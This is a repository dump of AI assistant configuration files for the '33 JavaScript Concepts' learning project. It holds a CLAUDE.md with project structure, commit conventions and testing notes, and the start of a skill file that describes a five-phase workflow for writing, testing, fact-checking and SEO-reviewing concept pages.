[
  {
    "path": ".claude/CLAUDE.md",
    "content": "# 33 JavaScript Concepts - Project Context\n\n## Overview\n\nThis repository is a curated collection of **33 essential JavaScript concepts** that every JavaScript developer should know. It serves as a comprehensive learning resource and study guide for developers at all levels, from beginners to advanced practitioners.\n\nThe project was recognized by GitHub as one of the **top open source projects of 2018** and has been translated into 40+ languages by the community.\n\n## Project Purpose\n\n- Help developers master fundamental and advanced JavaScript concepts\n- Provide curated resources (articles, videos, books) for each concept\n- Serve as a reference guide for interview preparation\n- Foster community contributions through translations and resource additions\n\n## Repository Structure\n\n```\n33-js-concepts/\n├── .claude/                 # Claude configuration\n│   ├── CLAUDE.md           # Project context and guidelines\n│   └── skills/             # Custom skills for content creation\n│       ├── write-concept/  # Skill for writing concept documentation\n│       ├── fact-check/     # Skill for verifying technical accuracy\n│       ├── seo-review/     # Skill for SEO audits\n│       ├── test-writer/    # Skill for generating Vitest tests\n│       ├── resource-curator/ # Skill for curating external resources\n│       └── concept-workflow/ # Skill for end-to-end concept creation\n├── .opencode/               # OpenCode configuration\n│   └── skill/              # Custom skills (mirrored from .claude/skills)\n│       ├── write-concept/  # Skill for writing concept documentation\n│       ├── fact-check/     # Skill for verifying technical accuracy\n│       ├── seo-review/     # Skill for SEO audits\n│       ├── test-writer/    # Skill for generating Vitest tests\n│       ├── resource-curator/ # Skill for curating external resources\n│       └── concept-workflow/ # Skill for end-to-end concept creation\n├── docs/                    # Mintlify documentation site\n│   ├── docs.json           # Mintlify configuration\n│   ├── index.mdx           # Homepage\n│   ├── introduction.mdx    # Getting started guide\n│   ├── contributing.mdx    # Contribution guidelines\n│   ├── translations.mdx    # Community translations\n│   └── concepts/           # 33 concept pages\n│       ├── call-stack.mdx\n│       ├── primitive-types.mdx\n│       └── ... (all 33 concepts)\n├── tests/                   # Vitest test suites\n│   └── fundamentals/       # Tests for fundamental concepts (1-6)\n│       ├── call-stack/\n│       ├── primitive-types/\n│       ├── value-reference-types/\n│       ├── type-coercion/\n│       ├── equality-operators/\n│       └── scope-and-closures/\n├── vitest.config.js        # Vitest configuration\n├── README.md               # Main GitHub README\n├── CONTRIBUTING.md         # Guidelines for contributors\n├── CODE_OF_CONDUCT.md      # Community standards\n├── LICENSE                 # MIT License\n├── package.json            # Project metadata\n├── opencode.jsonc          # OpenCode AI assistant configuration\n└── github-image.png        # Project banner image\n```\n\n## The 31 Concepts (32nd and 33rd coming soon)\n\n### Fundamentals (1-6)\n1. Primitive Types\n2. Value Types and Reference Types\n3. Type Coercion (Implicit, Explicit, Nominal, Structuring and Duck Typing)\n4. Equality Operators (== vs === vs typeof)\n5. Scope & Closures\n6. Call Stack\n\n### Functions & Execution (7-8)\n7. Event Loop (Message Queue)\n8. IIFE, Modules and Namespaces\n\n### Web Platform (9-10)\n9. DOM and Layout Trees\n10. HTTP & Fetch\n\n### Object-Oriented JS (11-15)\n11. Factories and Classes\n12. this, call, apply and bind\n13. new, Constructor, instanceof and Instances\n14. Prototype Inheritance and Prototype Chain\n15. Object.create and Object.assign\n\n### Functional Programming (16-19)\n16. map, reduce, filter\n17. Pure Functions, Side Effects, State Mutation and Event Propagation\n18. Higher-Order Functions\n19. Recursion\n\n### Async JavaScript (20-22)\n20. Collections and Generators\n21. Promises\n22. async/await\n\n### Advanced Topics (23-31)\n23. JavaScript Engines\n24. Data Structures\n25. Big O Notation (Expensive Operations)\n26. Algorithms\n27. Inheritance, Polymorphism and Code Reuse\n28. Design Patterns\n29. Partial Applications, Currying, Compose and Pipe\n30. Clean Code\n\n## Content Format\n\nEach concept page in `/docs/concepts/` follows this structure:\n\n### 1. Frontmatter\n```mdx\n---\ntitle: \"Concept Name\"\ndescription: \"Brief description of the concept\"\n---\n```\n\n### 2. Real-World Analogy\nStart with an engaging analogy that makes the concept relatable. Include ASCII art diagrams when helpful.\n\n### 3. Info Box (What You'll Learn)\n```mdx\n<Info>\n**What you'll learn in this guide:**\n- Key point 1\n- Key point 2\n- Key point 3\n</Info>\n```\n\n### 4. Main Content Sections\n- Use clear headings (`##`, `###`) to organize topics\n- Include code examples with explanations\n- Use Mintlify components (`<AccordionGroup>`, `<Steps>`, `<Tabs>`, etc.)\n- Add diagrams and visualizations where helpful\n\n### 5. Related Concepts\n```mdx\n<CardGroup cols={2}>\n  <Card title=\"Related Concept\" icon=\"icon-name\" href=\"/concepts/concept-slug\">\n    Brief description of how it relates\n  </Card>\n</CardGroup>\n```\n\n### 6. Reference\n```mdx\n<Card title=\"Topic — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/...\">\n  Official MDN documentation\n</Card>\n```\n\n### 7. Articles\nCurated blog posts and tutorials using `<CardGroup>` with `icon=\"newspaper\"`.\n\n### 8. Courses (optional)\nEducational courses using `<Card>` with `icon=\"graduation-cap\"`.\n\n### 9. Videos\nYouTube tutorials and conference talks using `<CardGroup>` with `icon=\"video\"`.\n\n## Contributing Guidelines\n\n### Adding Resources\n- Resources should be high-quality and educational\n- Follow the existing Card format for consistency\n- Include a brief description of what the resource covers\n\n### Resource Format\n```mdx\n<Card title=\"Resource Title\" icon=\"newspaper\" href=\"https://...\">\n  Brief description of what the reader will learn from this resource.\n</Card>\n```\n\n## Git Commit Conventions\n\nThis project follows the [Conventional Commits](https://www.conventionalcommits.org/) specification. All commits must adhere to this format for consistency and automated changelog generation.\n\n### Commit Message Format\n\n```\n<type>[optional scope]: <description>\n\n[optional body]\n\n[optional footer(s)]\n```\n\n### Commit Types\n\n| Type | Description |\n|------|-------------|\n| `feat` | New features or content additions (e.g., new resources, new concepts) |\n| `fix` | Bug fixes, broken link corrections, typo fixes |\n| `docs` | Documentation changes (README updates, CONTRIBUTING updates) |\n| `style` | Formatting changes (markdown formatting, whitespace) |\n| `refactor` | Content restructuring without adding new resources |\n| `chore` | Maintenance tasks (config updates, dependency updates) |\n| `ci` | CI/CD configuration changes |\n| `perf` | Performance improvements |\n| `test` | Adding or updating tests |\n| `build` | Build system or external dependency changes |\n| `revert` | Reverting a previous commit |\n\n### Examples\n\n```bash\n# Adding a new resource\nfeat: add article about closures by John Doe\n\n# Fixing a broken link\nfix: update broken MDN link in Promises section\n\n# Documentation update\ndocs: update contributing guidelines for translations\n\n# Maintenance task\nchore: update opencode.json configuration\n\n# Adding content to existing concept\nfeat(closures): add video tutorial by Fun Fun Function\n\n# Multiple changes in body\nfeat: add new resources for async/await\n\n- Add article by JavaScript Teacher\n- Add video tutorial by Traversy Media\n- Update reference links\n```\n\n### Rules\n\n1. **Use lowercase** for the type and description\n2. **No period** at the end of the description\n3. **Use imperative mood** (\"add\" not \"added\", \"fix\" not \"fixed\")\n4. **Keep the first line under 72 characters**\n5. **Reference issues** in the footer when applicable (e.g., `Closes #123`)\n\n## MCP Servers Available\n\nThis project has OpenCode configured with:\n\n1. **Context7** - Documentation search (`use context7` in prompts)\n2. **GitHub** - Repository management (`use github` in prompts)\n\n## Testing\n\nThis project uses [Vitest](https://vitest.dev/) as the test runner to verify that code examples in the documentation work correctly.\n\n### Running Tests\n\n```bash\n# Run all tests once\nnpm test\n\n# Run tests in watch mode (re-runs on file changes)\nnpm run test:watch\n\n# Run tests with coverage report\nnpm run test:coverage\n```\n\n### Test Structure\n\nTests are organized by concept category in the `tests/` directory:\n\n```\ntests/\n├── fundamentals/              # Concepts 1-6\n│   ├── call-stack/\n│   ├── primitive-types/\n│   ├── value-reference-types/\n│   ├── type-coercion/\n│   ├── equality-operators/\n│   └── scope-and-closures/\n├── functions-execution/       # Concepts 7-8\n│   ├── event-loop/\n│   └── iife-modules/\n└── web-platform/              # Concepts 9-10\n    ├── dom/\n    └── http-fetch/\n```\n\n### Writing Tests for Code Examples\n\nWhen adding new code examples to concept documentation, please include corresponding tests:\n\n1. **File naming**: Create `{concept-name}.test.js` in `tests/{category}/{concept-name}/`\n2. **Use explicit imports**: \n   ```javascript\n   import { describe, it, expect } from 'vitest'\n   ```\n3. **Convert console.log examples to assertions**:\n   ```javascript\n   // Documentation example:\n   // console.log(typeof \"hello\") // \"string\"\n   \n   // Test:\n   it('should return string type', () => {\n     expect(typeof \"hello\").toBe(\"string\")\n   })\n   ```\n4. **Test error cases**: Use `expect(() => { ... }).toThrow()` for operations that should throw\n5. **Skip browser-specific examples**: Tests run in Node.js, so skip DOM/window/document examples\n6. **Note strict mode behavior**: Vitest runs in strict mode, so operations that \"silently fail\" in non-strict mode will throw `TypeError`\n\n### Current Test Coverage\n\n| Category | Concept | Tests |\n|----------|---------|-------|\n| Fundamentals | Call Stack | 20 |\n| Fundamentals | Primitive Types | 73 |\n| Fundamentals | Value vs Reference Types | 54 |\n| Fundamentals | Type Coercion | 74 |\n| Fundamentals | Equality Operators | 87 |\n| Fundamentals | Scope and Closures | 46 |\n| Functions & Execution | Event Loop | 56 |\n| Functions & Execution | IIFE & Modules | 61 |\n| Web Platform | DOM | 85 |\n| Web Platform | HTTP & Fetch | 72 |\n| **Total** | | **628** |\n\n## Documentation Site (Mintlify)\n\nThe project includes a Mintlify documentation site in the `/docs` directory.\n\n### Local Development\n\n```bash\n# Using npm script\nnpm run docs\n\n# Or install Mintlify CLI globally\nnpm i -g mint\ncd docs\nmint dev\n```\n\nThe site will be available at `http://localhost:3000`.\n\n### Documentation Structure\n\n- **Getting Started**: Homepage and introduction\n- **Fundamentals**: Concepts 1-6 (Primitive Types through Call Stack)\n- **Functions & Execution**: Concepts 7-8 (Event Loop through IIFE/Modules)\n- **Web Platform**: Concepts 9-10 (DOM and HTTP & Fetch)\n- **Object-Oriented JS**: Concepts 11-15 (Factories through Object.create/assign)\n- **Functional Programming**: Concepts 16-19 (map/reduce/filter through Recursion)\n- **Async JavaScript**: Concepts 20-22 (Collections/Generators through async/await)\n- **Advanced Topics**: Concepts 23-31 (JavaScript Engines through Clean Code)\n\n### Adding/Editing Concept Pages\n\nEach concept page is in `docs/concepts/` and follows this template:\n\n```mdx\n---\ntitle: \"Concept Name\"\ndescription: \"Brief description\"\n---\n\n## Overview\n[Explanation of the concept]\n\n## Reference\n[MDN or official docs links]\n\n## Articles\n[Curated articles with CardGroup components]\n\n## Videos\n[Curated videos with CardGroup components]\n```\n\n## Important Notes\n\n- This is primarily a documentation/resource repository, not a code library\n- The main content lives in `README.md` and `/docs` (Mintlify site)\n- Translations are maintained in separate forked repositories\n- Community contributions are welcome and encouraged\n- MIT Licensed\n\n## Custom Skills\n\n### write-concept Skill\n\nUse the `/write-concept` skill when writing or improving concept documentation pages. This skill provides comprehensive guidelines for:\n\n- **Page Structure**: Exact template for concept pages (frontmatter, opening hook, code examples, sections)\n- **SEO Optimization**: Critical guidelines for ranking in search results\n- **Writing Style**: Voice, tone, and how to make content accessible to beginners\n- **Code Examples**: Best practices for clear, educational code\n- **Quality Checklists**: Verification steps before publishing\n\n**When to invoke:**\n- Creating a new concept page in `/docs/concepts/`\n- Rewriting or significantly improving an existing concept page\n- Reviewing an existing concept page for quality\n\n**SEO is Critical:** Each concept page should rank for searches like:\n- \"what is [concept] in JavaScript\"\n- \"how does [concept] work in JavaScript\"\n- \"[concept] JavaScript explained\"\n\nThe skill includes detailed guidance on title optimization (50-60 chars), meta descriptions (150-160 chars), keyword placement, and featured snippet optimization.\n\n**Location:** `.claude/skills/write-concept/SKILL.md`\n\n### fact-check Skill\n\nUse the `/fact-check` skill when verifying the technical accuracy of concept documentation. This skill provides comprehensive methodology for:\n\n- **Code Verification**: Verify all code examples produce stated outputs, run project tests\n- **MDN/Spec Compliance**: Check claims against official MDN documentation and ECMAScript specification\n- **External Resource Checks**: Verify all links work and descriptions accurately represent content\n- **Misconception Detection**: Common JavaScript misconceptions to watch for (type coercion, async behavior, etc.)\n- **Test Integration**: Instructions for running `npm test` to verify code examples\n- **Report Template**: Structured format for documenting findings with severity levels\n\n**When to invoke:**\n- Before publishing a new concept page\n- After significant edits to existing pages\n- When reviewing community contributions\n- Periodic accuracy audits of existing content\n\n**What gets checked:**\n- Every code example for correct output\n- All MDN links for validity (not 404)\n- API descriptions match current MDN documentation\n- External resources (articles, videos) are accessible and accurate\n- Technical claims are correct and properly nuanced\n- No common JavaScript misconceptions stated as fact\n\n**Location:** `.claude/skills/fact-check/SKILL.md`\n\n### seo-review Skill\n\nUse the `/seo-review` skill when auditing concept pages for search engine optimization. This skill provides a focused audit checklist:\n\n- **27-Point Scoring System**: Systematic audit across 6 categories\n- **Title & Meta Optimization**: Character counts, keyword placement, compelling hooks\n- **Keyword Strategy**: Pre-built keyword clusters for all JavaScript concepts\n- **Featured Snippet Optimization**: Patterns for winning position zero in search results\n- **Internal Linking**: Audit of concept interconnections and anchor text quality\n- **Report Template**: Structured SEO audit report with prioritized fixes\n\n**When to invoke:**\n- Before publishing a new concept page\n- When optimizing underperforming pages\n- Periodic content audits\n- After major content updates\n\n**Scoring Categories (30 points total):**\n- Title Tag (4 points)\n- Meta Description (4 points)\n- Keyword Placement (5 points)\n- Content Structure (6 points)\n- Featured Snippets (4 points)\n- Internal Linking (4 points)\n- Technical SEO (3 points) — Single H1, keyword in slug, no orphan pages\n\n**Score Interpretation:**\n- 90-100% (27-30): Ready to publish\n- 75-89% (23-26): Minor optimizations needed\n- 55-74% (17-22): Several improvements needed\n- Below 55% (<17): Significant work required\n\n**Location:** `.claude/skills/seo-review/SKILL.md`\n\n### test-writer Skill\n\nUse the `/test-writer` skill when generating Vitest tests for code examples in concept documentation. This skill provides comprehensive methodology for:\n\n- **Code Extraction**: Identify and categorize all code examples (testable, DOM, error, conceptual)\n- **Test Patterns**: 16 patterns for converting different types of code examples to tests\n- **DOM Testing**: Separate file structure with jsdom environment for browser-specific code\n- **Source References**: Line number references linking tests to documentation\n- **Project Conventions**: File naming, describe block organization, assertion patterns\n- **Report Template**: Test coverage report documenting what was tested and skipped\n\n**When to invoke:**\n- After writing a new concept page\n- When adding new code examples to existing pages\n- When updating existing code examples\n- To verify documentation accuracy through automated tests\n\n**Test Categories:**\n- Basic value assertions (`console.log` → `expect`)\n- Error testing (`toThrow` patterns)\n- Async testing (Promises, async/await)\n- DOM testing (jsdom environment, events)\n- Floating point (toBeCloseTo)\n- Object/Array comparisons (toEqual)\n\n**File Structure:**\n```\ntests/{category}/{concept-name}/{concept-name}.test.js\ntests/{category}/{concept-name}/{concept-name}.dom.test.js  (if DOM examples)\n```\n\n**Location:** `.claude/skills/test-writer/SKILL.md`\n\n### resource-curator Skill\n\nUse the `/resource-curator` skill when finding, evaluating, or maintaining external resources (articles, videos, courses) for concept pages. This skill provides:\n\n- **Audit Process**: Check existing links for accessibility, accuracy, and relevance\n- **Trusted Sources**: Prioritized lists of reputable article, video, and course sources\n- **Quality Criteria**: Must-have, should-have, and red flag checklists\n- **Description Writing**: Formula and examples for specific, valuable descriptions\n- **Publication Guidelines**: Date thresholds for different topic categories\n- **Report Template**: Audit report for documenting broken, outdated, and missing resources\n\n**When to invoke:**\n- Adding resources to a new concept page\n- Refreshing resources on existing pages\n- Auditing for broken or outdated links\n- Reviewing community-contributed resources\n- Periodic link maintenance\n\n**Resource Targets:**\n- Reference: 2-4 MDN links\n- Articles: 4-6 quality articles\n- Videos: 3-4 quality videos\n- Courses: 1-3 (optional)\n\n**Trusted Sources Include:**\n- Articles: javascript.info, MDN Guides, freeCodeCamp, 2ality, CSS-Tricks, dev.to\n- Videos: Fireship, Web Dev Simplified, Fun Fun Function, Traversy Media, JSConf\n- Courses: javascript.info, Piccalilli, freeCodeCamp, Frontend Masters\n\n**Location:** `.claude/skills/resource-curator/SKILL.md`\n\n### concept-workflow Skill\n\nUse the `/concept-workflow` skill for end-to-end creation of a complete concept page. This orchestrator skill coordinates all five specialized skills in optimal order:\n\n```\nPhase 1: resource-curator  →  Find quality external resources\nPhase 2: write-concept     →  Write the documentation page\nPhase 3: test-writer       →  Generate tests for code examples\nPhase 4: fact-check        →  Verify technical accuracy\nPhase 5: seo-review        →  Optimize for search visibility\n```\n\n**When to invoke:**\n- Creating a brand new concept page from scratch\n- Completely rewriting an existing concept page\n- When you want the full end-to-end workflow with all quality checks\n\n**What it orchestrates:**\n- Resource curation (2-4 MDN refs, 4-6 articles, 3-4 videos)\n- Complete concept page writing (1,500+ words)\n- Comprehensive test generation for all code examples\n- Technical accuracy verification with test execution\n- SEO audit targeting 90%+ score (24+/27)\n\n**Deliverables:**\n- `/docs/concepts/{concept-name}.mdx` — Complete documentation page\n- `/tests/{category}/{concept-name}/{concept-name}.test.js` — Test file\n- Updated `docs.json` navigation (if new concept)\n- Fact-check report\n- SEO audit report (score 24+/27)\n\n**Estimated Time:** 2-5 hours depending on concept complexity\n\n**Example prompt:**\n> \"Create a complete concept page for 'hoisting' using the concept-workflow skill\"\n\n**Location:** `.claude/skills/concept-workflow/SKILL.md`\n\n## Maintainer\n\n**Leonardo Maldonado** - [@leonardomso](https://github.com/leonardomso)\n\n## Links\n\n- Repository: https://github.com/leonardomso/33-js-concepts\n- Issues: https://github.com/leonardomso/33-js-concepts/issues\n- Original Article: [33 Fundamentals Every JavaScript Developer Should Know](https://medium.com/@stephenthecurt/33-fundamentals-every-javascript-developer-should-know-13dd720a90d1) by Stephen Curtis\n"
  },
  {
    "path": ".claude/skills/concept-workflow/SKILL.md",
    "content": "---\nname: concept-workflow\ndescription: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review\n---\n\n# Skill: Complete Concept Workflow\n\nUse this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order:\n\n1. **Resource Curation** — Find quality learning resources\n2. **Concept Writing** — Write the documentation page\n3. **Test Writing** — Create tests for code examples\n4. **Fact Checking** — Verify technical accuracy\n5. **SEO Review** — Optimize for search visibility\n\n## When to Use\n\n- Creating a brand new concept page from scratch\n- Completely rewriting an existing concept page\n- When you want a full end-to-end workflow with all quality checks\n\n**For partial tasks, use individual skills instead:**\n- Just adding resources? Use `resource-curator`\n- Just writing content? Use `write-concept`\n- Just adding tests? Use `test-writer`\n- Just verifying accuracy? Use `fact-check`\n- Just optimizing SEO? Use `seo-review`\n\n---\n\n## Workflow Overview\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     COMPLETE CONCEPT WORKFLOW                                │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│  INPUT: Concept name (e.g., \"hoisting\", \"event-loop\", \"promises\")           │\n│                                                                              │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 1: RESEARCH │                                                       │\n│  │ resource-curator  │  Find MDN refs, articles, videos                      │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 2: WRITE   │                                                        │\n│  │ write-concept    │  Create the documentation page                         │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 3: TEST    │                                                        │\n│  │ test-writer      │  Generate tests for all code examples                  │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 4: VERIFY  │                                                        │\n│  │ fact-check       │  Verify accuracy, run tests, check links               │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  ┌──────────────────┐                                                        │\n│  │ PHASE 5: OPTIMIZE│                                                        │\n│  │ seo-review       │  SEO audit and final optimizations                     │\n│  └────────┬─────────┘                                                        │\n│           ▼                                                                  │\n│  OUTPUT: Complete, tested, verified, SEO-optimized concept page              │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Phase 1: Resource Curation\n\n**Skill:** `resource-curator`\n**Goal:** Gather high-quality external resources before writing\n\n### What to Do\n\n1. **Identify the concept category** (fundamentals, async, OOP, etc.)\n2. **Search for MDN references** — Official documentation\n3. **Find quality articles** — Target 4-6 from trusted sources\n4. **Find quality videos** — Target 3-4 from trusted creators\n5. **Evaluate each resource** — Check quality criteria\n6. **Write specific descriptions** — 2 sentences each\n7. **Format as Card components** — Ready to paste into the page\n\n### Deliverables\n\n- List of 2-4 MDN/reference links with descriptions\n- List of 4-6 article links with descriptions\n- List of 3-4 video links with descriptions\n- Optional: 1-2 courses or books\n\n### Quality Gates\n\nBefore moving to Phase 2:\n- [ ] All links verified working (200 response)\n- [ ] All resources are JavaScript-focused\n- [ ] Descriptions are specific, not generic\n- [ ] Mix of beginner and advanced content\n\n---\n\n## Phase 2: Concept Writing\n\n**Skill:** `write-concept`\n**Goal:** Create the full documentation page\n\n### What to Do\n\n1. **Determine the category** for file organization\n2. **Create the frontmatter** (title, sidebarTitle, description)\n3. **Write the opening hook** — Question that draws readers in\n4. **Add opening code example** — Simple example in first 200 words\n5. **Write \"What you'll learn\" box** — 5-7 bullet points\n6. **Write main content sections:**\n   - What is [concept]? (with 40-60 word definition for featured snippet)\n   - Real-world analogy\n   - How it works (with diagrams)\n   - Code examples (multiple, progressive complexity)\n   - Common mistakes\n   - Edge cases\n7. **Add Key Takeaways** — 8-10 numbered points\n8. **Add Test Your Knowledge** — 5-6 Q&A accordions\n9. **Add Related Concepts** — 4 Cards linking to related topics\n10. **Add Resources** — Paste resources from Phase 1\n\n### Deliverables\n\n- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx`\n- File added to `docs.json` navigation (if new)\n\n### Quality Gates\n\nBefore moving to Phase 3:\n- [ ] Frontmatter complete (title, sidebarTitle, description)\n- [ ] Opens with question hook\n- [ ] Code example in first 200 words\n- [ ] \"What you'll learn\" Info box present\n- [ ] All required sections present\n- [ ] Resources section complete\n- [ ] 1,500+ words\n\n---\n\n## Phase 3: Test Writing\n\n**Skill:** `test-writer`\n**Goal:** Create comprehensive tests for all code examples\n\n### What to Do\n\n1. **Scan the concept page** for all code examples\n2. **Categorize examples:**\n   - Testable (console.log, return values)\n   - DOM-specific (needs jsdom)\n   - Error examples (toThrow)\n   - Conceptual (skip)\n3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js`\n4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js`\n5. **Write tests** for each code example with source line references\n6. **Run tests** to verify all pass\n\n### Deliverables\n\n- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js`\n- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js`\n- All tests passing\n\n### Quality Gates\n\nBefore moving to Phase 4:\n- [ ] All testable code examples have tests\n- [ ] Source line references in comments\n- [ ] Tests pass: `npm test -- tests/{category}/{concept}/`\n- [ ] DOM tests in separate file with jsdom directive\n\n---\n\n## Phase 4: Fact Checking\n\n**Skill:** `fact-check`\n**Goal:** Verify technical accuracy of all content\n\n### What to Do\n\n1. **Verify code examples:**\n   - Run tests: `npm test -- tests/{category}/{concept}/`\n   - Check any untested examples manually\n   - Verify output comments match actual outputs\n\n2. **Verify MDN/spec claims:**\n   - Click all MDN links — verify they work\n   - Compare API descriptions to MDN\n   - Check ECMAScript spec for nuanced claims\n\n3. **Verify external resources:**\n   - Check all article/video links work\n   - Skim content for accuracy\n   - Verify descriptions match content\n\n4. **Audit technical claims:**\n   - Look for \"always/never\" statements\n   - Verify performance claims\n   - Check for common misconceptions\n\n5. **Generate fact-check report**\n\n### Deliverables\n\n- Fact-check report documenting:\n  - Code verification results\n  - Link check results\n  - Any issues found and fixes made\n\n### Quality Gates\n\nBefore moving to Phase 5:\n- [ ] All tests passing\n- [ ] All MDN links valid\n- [ ] All external resources accessible\n- [ ] No technical inaccuracies found\n- [ ] No common misconceptions\n\n---\n\n## Phase 5: SEO Review\n\n**Skill:** `seo-review`\n**Goal:** Optimize for search visibility\n\n### What to Do\n\n1. **Audit title tag:**\n   - 50-60 characters\n   - Primary keyword in first half\n   - Ends with \"in JavaScript\"\n   - Contains compelling hook\n\n2. **Audit meta description:**\n   - 150-160 characters\n   - Starts with action word (Learn, Understand, Discover)\n   - Contains primary keyword\n   - Promises specific value\n\n3. **Audit keyword placement:**\n   - Keyword in title\n   - Keyword in description\n   - Keyword in first 100 words\n   - Keyword in at least one H2\n\n4. **Audit content structure:**\n   - Question hook opening\n   - Code in first 200 words\n   - \"What you'll learn\" box\n   - Short paragraphs\n\n5. **Audit featured snippet optimization:**\n   - 40-60 word definition after \"What is\" H2\n   - Question-format H2s\n   - Numbered steps for how-to content\n\n6. **Audit internal linking:**\n   - 3-5 related concepts linked\n   - Descriptive anchor text\n   - Related Concepts section complete\n\n7. **Calculate score** and fix any issues\n\n### Deliverables\n\n- SEO audit report with score (X/27)\n- All high-priority fixes implemented\n\n### Quality Gates\n\nBefore marking complete:\n- [ ] Score 24+ out of 27 (90%+)\n- [ ] Title optimized\n- [ ] Meta description optimized\n- [ ] Keywords placed naturally\n- [ ] Featured snippet optimized\n- [ ] Internal links complete\n\n---\n\n## Complete Workflow Checklist\n\nUse this master checklist to track progress through all phases.\n\n```markdown\n# Concept Workflow: [Concept Name]\n\n**Started:** YYYY-MM-DD\n**Target Category:** {category}\n**File Path:** `/docs/concepts/{concept-name}.mdx`\n**Test Path:** `/tests/{category}/{concept-name}/`\n\n---\n\n## Phase 1: Resource Curation\n- [ ] MDN references found (2-4)\n- [ ] Articles found (4-6)\n- [ ] Videos found (3-4)\n- [ ] All links verified working\n- [ ] Descriptions written (specific, 2 sentences)\n- [ ] Resources formatted as Cards\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 2: Concept Writing\n- [ ] Frontmatter complete\n- [ ] Opening hook written\n- [ ] Opening code example added\n- [ ] \"What you'll learn\" box added\n- [ ] Main content sections written\n- [ ] Key Takeaways added\n- [ ] Test Your Knowledge added\n- [ ] Related Concepts added\n- [ ] Resources pasted from Phase 1\n- [ ] Added to docs.json (if new)\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 3: Test Writing\n- [ ] Code examples extracted and categorized\n- [ ] Test file created\n- [ ] DOM test file created (if needed)\n- [ ] All testable examples have tests\n- [ ] Source line references added\n- [ ] Tests run and passing\n\n**Test Results:** X passing, X failing\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 4: Fact Checking\n- [ ] All tests passing\n- [ ] Code examples verified accurate\n- [ ] MDN links checked (X/X valid)\n- [ ] External resources checked (X/X valid)\n- [ ] Technical claims audited\n- [ ] No misconceptions found\n- [ ] Issues fixed\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Phase 5: SEO Review\n- [ ] Title tag optimized (50-60 chars)\n- [ ] Meta description optimized (150-160 chars)\n- [ ] Keywords placed correctly\n- [ ] Content structure verified\n- [ ] Featured snippet optimized\n- [ ] Internal links complete\n\n**SEO Score:** X/27 (X%)\n\n**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete\n\n---\n\n## Final Status\n\n**All Phases Complete:** ⬜ No | ✅ Yes\n**Ready to Publish:** ⬜ No | ✅ Yes\n**Completed:** YYYY-MM-DD\n```\n\n---\n\n## Execution Instructions\n\nWhen executing this workflow, follow these steps:\n\n### Step 1: Initialize\n\n```markdown\nStarting concept workflow for: [CONCEPT NAME]\n\nCategory: [fundamentals/functions-execution/web-platform/etc.]\nFile: /docs/concepts/[concept-name].mdx\nTests: /tests/[category]/[concept-name]/\n```\n\n### Step 2: Execute Each Phase\n\nFor each phase:\n\n1. **Announce the phase:**\n   ```markdown\n   ## Phase X: [Phase Name]\n   Using skill: [skill-name]\n   ```\n\n2. **Load the skill** to get detailed instructions\n\n3. **Execute the phase** following the skill's methodology\n\n4. **Report completion:**\n   ```markdown\n   Phase X complete:\n   - [Deliverable 1]\n   - [Deliverable 2]\n   - Quality gates: ✅ All passed\n   ```\n\n5. **Move to next phase** only after quality gates pass\n\n### Step 3: Final Report\n\nAfter all phases complete:\n\n```markdown\n# Workflow Complete: [Concept Name]\n\n## Summary\n- **Concept Page:** `/docs/concepts/[concept-name].mdx`\n- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js`\n- **Word Count:** X,XXX words\n- **Code Examples:** XX (XX tested)\n- **Resources:** X MDN, X articles, X videos\n\n## Quality Metrics\n- **Tests:** XX passing\n- **Fact Check:** ✅ All verified\n- **SEO Score:** XX/27 (XX%)\n\n## Files Created/Modified\n1. `/docs/concepts/[concept-name].mdx` (created)\n2. `/docs/docs.json` (updated navigation)\n3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created)\n\n## Ready to Publish: ✅ Yes\n```\n\n---\n\n## Phase Dependencies\n\nSome phases can be partially parallelized, but the general flow should be:\n\n```\nPhase 1 (Resources) ──┐\n                      ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐\n                      │                                             │\n                      │         ┌───────────────────────────────────┘\n                      │         ▼\n                      └──► Phase 4 (Fact Check) ──► Phase 5 (SEO)\n```\n\n- **Phase 1 before Phase 2:** Resources inform what to write\n- **Phase 2 before Phase 3:** Need content before writing tests\n- **Phase 3 before Phase 4:** Tests are part of fact-checking\n- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish\n\n---\n\n## Skill Reference\n\n| Phase | Skill | Purpose |\n|-------|-------|---------|\n| 1 | `resource-curator` | Find and evaluate external resources |\n| 2 | `write-concept` | Write the documentation page |\n| 3 | `test-writer` | Generate tests for code examples |\n| 4 | `fact-check` | Verify technical accuracy |\n| 5 | `seo-review` | Optimize for search visibility |\n\nEach skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance.\n\n---\n\n## Time Estimates\n\n| Phase | Estimated Time | Notes |\n|-------|---------------|-------|\n| Phase 1: Resources | 15-30 min | Depends on availability of quality resources |\n| Phase 2: Writing | 1-3 hours | Depends on concept complexity |\n| Phase 3: Tests | 30-60 min | Depends on number of code examples |\n| Phase 4: Fact 